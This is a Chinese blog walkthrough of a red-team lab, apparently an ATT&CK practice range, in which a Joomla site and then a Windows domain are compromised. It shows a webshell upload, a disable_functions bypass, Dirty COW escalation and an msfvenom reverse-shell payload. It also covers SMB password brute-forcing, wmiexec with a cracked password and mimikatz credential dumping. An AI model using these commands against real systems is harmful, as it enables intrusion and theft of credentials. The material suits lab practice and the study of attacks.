百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

ATT&CK实战系列--红队实战(devgru红队)

bigegpt 2024-08-02 11:07 14 浏览

通过以往文章的靶场二,学习了msf免杀上线绕过360、Access Token利用(MSSQL利用)、WMI利用、域漏洞利用、域控信息收集和权限维持(黄金票据利用)。靶场三为黑盒测试,不提供虚拟机账号密码,目标是获取域控的flag文件,一起来看看如何去渗透吧。

0x00:环境搭建

ATT&CK实战系列——红队实战(三)是红日安全团队出品的一个实战环境,该靶场模拟真实环境,是个黑盒测试,不提供虚拟机密码。目标是域控中存在一份重要文件。具体的IP配置如下:

web-centos:192.168.93.100

外网:192.168.31.68

web-ubantu:192.168.93.120

win2012:192.168.93.10

win2008:192.168.93.20

win7:192.168.93.30

只有centos是双网卡,其余都是单网卡,将centos网卡eth0设置为自动获取ip

vim /etc/sysconfig/network-scripts/ifcfg-eth0
/etc/init.d/network restart    #设置好后重启网络服务

0x01:漏洞利用

先对目标ip进行端口扫描发现目标主机开放了22、80、3306端口

访问80端口的网页,发现是用Joomla搭建的网站

先使用dirsearch扫一下目录,发现了1.php是phpinfo文件,Joomla后台登录地址, 配置文件泄漏了数据库的账号密码

试试连接一下数据库,成功登录数据库,但是Joomla后台登录的管理员密码解密不出来。

Joomla官网有重置管理员密码的操作,执行sql语句来添加一个管理员chan sectret

成功添加账号后登录到后台,通过修改模版来拿shell

访问extensions-templates-templates-beez3,然后new file-新建文件chan.php

使用蚁剑连接成功后,但是执行命令返回的是127

查看1.php文件的配置情况,服务端 disable_functions 禁用了命令执行函数,目标是Linux并且没有禁用putenv函数,所以可以利用LD_PRELOAD绕过

这里直接使用蚁剑的插件,但是连接不上去(tmp目录下成功上传了.so文件网站目录也成功上传了.antproxy.php文件),不知道为什么。

后面使用PHP7_GC_UAF模式成功执行命令

后面看见师傅用的另一种方法利用LD_PRELOAD绕过,用蚁剑bypass_diablefunc.php 和 bypass_diablefunc_x64.so 上传到目标的同一目录

注意 .so 文件需要根据目标系统架构选择,然后访问bypass_diablefunc.php,cmd 是执行的命令,outpath是读写权限的目录,sopath是.so文件的绝对路径

http://192.168.31.168/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

先进行一些基本的信息收集,发现当前 ip为192.168.93.120并不是centos,内核是ubuntu说明真正的web服务后端在 ubuntu,通过centos做了个nginx反向代理解析到Ubuntu上。

翻下主机的文件发现了/tmp/mysql/test.txt文件存在账户密码

使用ssh连接一下,成功连接,先看一下基本信息

发现Centos内核版本在脏牛提权的范围内,先尝试一下sudo提权和suid提权,发现不行,使用脏牛提权,将dirty.c上传到centos,使用命令gcc -pthread dirty.c -o dirty -lcrypt

切换到firefart用户,提权成功

0x02:内网渗透

在kali上生成chan.elf,设置监听,将elf文件上传到centos,执行后攻击机成功获得一个meterpreter

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.254 LPORT=4444 -f elf > /var/www/html/chan.elf

添加路由进行存活主机探测,或者使用ping命令

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit


for k in $( seq 1 255);do ping -c 1 192.168.93.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

发现了三台存活的TEST域的主机

192.168.93.10  windows 2012
192.168.93.20  windows 2008
192.168.93.30  windows 7

使用msf自带的模块进行端口扫描,发现三台主机开放了135、445端口

使用msf自带的ms17-010模块扫描一波,没有发现漏洞

使用msf的模块进行爆破 我这里没有爆破成功,看到其他师傅爆破出来密码是123qwe!ASD

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top1000.txt
exploit

使用爆破成功的密码进行渗透,使用msf开个sock4正向代理,配合proxychains

使用wmicexec远程连接这两台主机,先进行基本的信息搜集,ipconfig /all知道DNS服务器即域控是192.68.93.10

proxychains python3 wmiexec.py -debug

'administrator:123qwe!ASD@192.168.93.20'

proxychains python3 wmiexec.py -debug

'administrator:123qwe!ASD@192.168.93.30'

在windows 2008主机上使用tasklist /v查看进程发现TEST域进程域管理员,尝试抓取其密码

在kali上使用smbclient连接到windows 2008上传mimikatz

wmiexec远程执行mimikatz 成功得到抓取到域管理员密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

现在已经知道域控的账号密码了,同样的方法使用wmiexec.py脚本进行连接域控,找到flag文件

0x03:总结

在搭建靶场时,环境遇到了问题,折腾了很久好在还是解决了。靶场大概情况为centos为出网机,web服务后端在 ubuntu,通过centos做了个nginx反向代理解析到Ubuntu上,域内有三台Windows主机。渗透过程是通过配置文件泄漏了数据库账号密码,从而添加Joomla管理员进入后台上传shell,disable_function的绕过(这个姿势学习到了),然后msf获取一个meterpreter来进行内网渗透,最终拿下域控获取flag。

相关推荐

Go语言泛型-泛型约束与实践(go1.7泛型)

来源:械说在Go语言中,Go泛型-泛型约束与实践部分主要探讨如何定义和使用泛型约束(Constraints),以及如何在实际开发中利用泛型进行更灵活的编程。以下是详细内容:一、什么是泛型约束?**泛型...

golang总结(golang实战教程)

基础部分Go语言有哪些优势?1简单易学:语法简洁,减少了代码的冗余。高效并发:内置强大的goroutine和channel,使并发编程更加高效且易于管理。内存管理:拥有自动垃圾回收机制,减少内...

Go 官宣:新版 Protobuf API(go pro版本)

原文作者:JoeTsai,DamienNeil和HerbieOng原文链接:https://blog.golang.org/a-new-go-api-for-protocol-buffer...

Golang开发的一些注意事项(一)(golang入门项目)

1.channel关闭后读的问题当channel关闭之后再去读取它,虽然不会引发panic,但会直接得到零值,而且ok的值为false。packagemainimport"...

golang 托盘菜单应用及打开系统默认浏览器

之前看到一个应用,用go语言编写,说是某某程序的windows图形化客户端,体验一下发现只是一个托盘,然后托盘菜单的控制面板功能直接打开本地浏览器访问程序启动的webserver网页完成gui相关功...

golang标准库每日一库之 io/ioutil

一、核心函数概览函数作用描述替代方案(Go1.16+)ioutil.ReadFile(filename)一次性读取整个文件内容(返回[]byte)os.ReadFileioutil.WriteFi...

文件类型更改器——GoLang 中的 CLI 工具

我是如何为一项琐碎的工作任务创建一个简单的工具的,你也可以上周我开始玩GoLang,它是一种由Google制作的类C编译语言,非常轻量和快速,事实上它经常在Techempower的基准测...

Go (Golang) 中的 Channels 简介(golang channel长度和容量)

这篇文章重点介绍Channels(通道)在Go中的工作方式,以及如何在代码中使用它们。在Go中,Channels是一种编程结构,它允许我们在代码的不同部分之间移动数据,通常来自不同的goro...

Golang引入泛型:Go将Interface「」替换为“Any”

现在Go将拥有泛型:Go将Interface{}替换为“Any”,这是一个类型别名:typeany=interface{}这会引入了泛型作好准备,实际上,带有泛型的Go1.18Beta...

一文带你看懂Golang最新特性(golang2.0特性)

作者:腾讯PCG代码委员会经过十余年的迭代,Go语言逐渐成为云计算时代主流的编程语言。下到云计算基础设施,上到微服务,越来越多的流行产品使用Go语言编写。可见其影响力已经非常强大。一、Go语言发展历史...

Go 每日一库之 java 转 go 遇到 Apollo?让 agollo 来平滑迁移

以下文章来源于GoOfficialBlog,作者GoOfficialBlogIntroductionagollo是Apollo的Golang客户端Apollo(阿波罗)是携程框架部门研...

Golang使用grpc详解(golang gcc)

gRPC是Google开源的一种高性能、跨语言的远程过程调用(RPC)框架,它使用ProtocolBuffers作为序列化工具,支持多种编程语言,如C++,Java,Python,Go等。gR...

Etcd服务注册与发现封装实现--golang

服务注册register.gopackageregisterimport("fmt""time"etcd3"github.com/cor...

Golang:将日志以Json格式输出到Kafka

在上一篇文章中我实现了一个支持Debug、Info、Error等多个级别的日志库,并将日志写到了磁盘文件中,代码比较简单,适合练手。有兴趣的可以通过这个链接前往:https://github.com/...

如何从 PHP 过渡到 Golang?(php转golang)

我是PHP开发者,转Go两个月了吧,记录一下使用Golang怎么一步步开发新项目。本着有坑填坑,有错改错的宗旨,从零开始,开始学习。因为我司没有专门的Golang大牛,所以我也只能一步步自己去...